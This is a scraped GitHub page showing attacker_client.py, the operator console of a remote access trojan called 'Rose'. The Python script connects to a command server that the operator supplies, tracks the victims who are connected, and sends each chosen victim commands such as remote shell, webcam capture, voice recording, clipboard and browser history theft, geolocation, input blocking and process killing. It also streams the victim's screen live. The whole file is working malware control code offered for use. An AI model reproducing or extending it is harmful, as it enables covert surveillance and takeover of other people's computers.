This repository has been archived by the owner on Mar 30, 2024. It is now read-only.
-
Notifications
You must be signed in to change notification settings - Fork 8
/
attacker_client.py
236 lines (191 loc) · 6.91 KB
/
attacker_client.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
from pystyle import Colors, Colorate, Center, Box, Write
import os
import ctypes
import time
import socketio
import webbrowser
import json
import threading
__version__ = "1.0"
#with open("config.json", "r") as f:
# config = json.load(f)
# server_url = config["server_url"]
import logging
logging.basicConfig(
level=logging.DEBUG,
filename='attacker_client.log',
filemode='a',
format='[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)
server_url = Write.Input(" .$ Your server URL ? (should contains https://)", Colors.red_to_white, interval=0.025)
logger.info(f"Attacker using URL {server_url}")
os.system('cls')
ctypes.windll.kernel32.SetConsoleTitleW(f"Rose Client | v{__version__}")
banner = """
OooOOo.
o `o
O O
o .O
OOooOO' .oOo. .oOo .oOo.
o o O o `Ooo. OooO'
O O o O O O
O o `OoO' `OoO' `OoO'
"""
def start_attacker_screenshare():
def to_execute():
import eventlet
import socketio
from threading import Thread
from zlib import decompress
from mss import mss
import pygame
WIDTH = 1900
HEIGHT = 1000
_sio = socketio.Client()
pygame.init()
screen = pygame.display.set_mode((WIDTH, HEIGHT))
clock = pygame.time.Clock()
pygame.display.set_caption('Rose - Screenshare client - made by xpierroz')
@_sio.event
def connect():
print('screenshare attacker client connected')
_sio.emit("iam_attacker")
_sio.connect(server_url)
done = False
while not done:
for event in pygame.event.get():
if event.type == pygame.QUIT:
pygame.quit()
@_sio.event
def receiving_screenshot(data):
#msize_len = data['data']['size_len']
#msize_bytes = data['data']['size_bytes']
mpixels = data['data']['pixels']
pixels = decompress(mpixels)
# Create the Surface from raw pixels
img = pygame.image.fromstring(pixels, (WIDTH, HEIGHT), 'RGB')
# Display the picture
screen.blit(img, (0, 0))
pygame.display.flip()
clock.tick(60)
t = threading.Thread(target=to_execute)
t.run()
class Connected():
def __init__(self):
self.client_connected = 0
def change(self, number):
self.client_connected = number
def get(self):
logger.debug(f"Getting number of connected clients: {self.client_connected}")
return self.client_connected
class Serv():
sio = socketio.Client()
def __init__(self, url):
self.command = Command()
self.v = __version__
self._cmd = Command()
self.url = url
self._cmd = Command()
self._connected = Connected()
def _cls(self):
os.system('cls')
def home(self):
self._cls()
print(Colorate.Horizontal(Colors.red_to_white, Center.XCenter(banner)))
print('\n')
print(Colorate.Horizontal(Colors.red_to_white, Box.Lines(f'Attacker Client | v{__version__} | {self._connected.get()} Clients Connected')))
print('\n')
self.loop()
def not_valid(self, cmd):
logger.error(f"{cmd} - invalid command")
print(Colorate.Horizontal(Colors.red_to_white, f" .X {cmd} is not a valid command. Type 'help' for more info."))
time.sleep(2)
self.home()
def setup(self):
self.call_backs()
self.sio.connect(self.url)
self.sio.emit("number_connected")
time.sleep(1) #Wait for the server to send the number of clients connected before loading the UI
self.home()
def loop(self):
while True:
self.sio.emit("number_connected")
cmd = Write.Input("\n .$ ", Colors.red_to_white, interval=0.025)
if cmd == "help":
valid_commands = self.command.valid
print(Colorate.Horizontal(Colors.red_to_white, f" Valid commands:"))
for command in valid_commands:
print(Colorate.Horizontal(Colors.red_to_white, f" - {command}"))
print(Colorate.Horizontal(Colors.red_to_white, f" Press Enter to continue..."))
input()
self.home()
elif cmd == "exit":
exit()
else:
if not self._cmd.is_valid(cmd):
self.not_valid(cmd)
sid = Write.Input(" .$ SID ? ", Colors.red_to_white, interval=0.025)
try:
self.sio.emit(
'send_command',
{"data":
{"command": cmd,
"sid": sid
}
}
)
if cmd == "screenshare":
start_attacker_screenshare()
print(Colorate.Horizontal(Colors.green_to_white, f' .$ Command Sent to {sid}'))
except Exception as e: #Print command failed in red
print(Colorate.Horizontal(Colors.red_to_white, f' .$ Command Failed to {sid}'))
print(Colorate.Horizontal(Colors.red_to_white, f' .$ Advanced logs: {e}'))
time.sleep(2)
self.home(self._connected.get())
def call_backs(self):
@self.sio.event
def connect():
self.sio.emit('client_connect', {"data": "Attacker Client Connected"})
@self.sio.event
def all_sessions(data):
self._connected.change(data['data'])
ctypes.windll.kernel32.SetConsoleTitleW(f"Rose Client | v{__version__} | {self._connected.get()} Clients Connected")
@self.sio.event
def auth(data):
print(f"Data Received {data}")
@self.sio.event
def disconnect():
print('disconnected from server')
def run(self):
self.setup()
class Command():
def __init__(self):
self.valid = [
'messagebox',
'shell',
'webcampic',
'voice',
'admincheck',
'sysinfo',
'history',
'write',
'wallpaper',
'clipboard',
'geolocate',
'volumemax',
'volumezero',
'blockinput',
'unblockinput',
'screenshot',
'kill',
'screenshare'
]
def is_valid(self, command):
try:
command = command.split(' ')[0]
except Exception:
pass
return any(command == j for j in self.valid)
ss = Serv(server_url)
ss.run()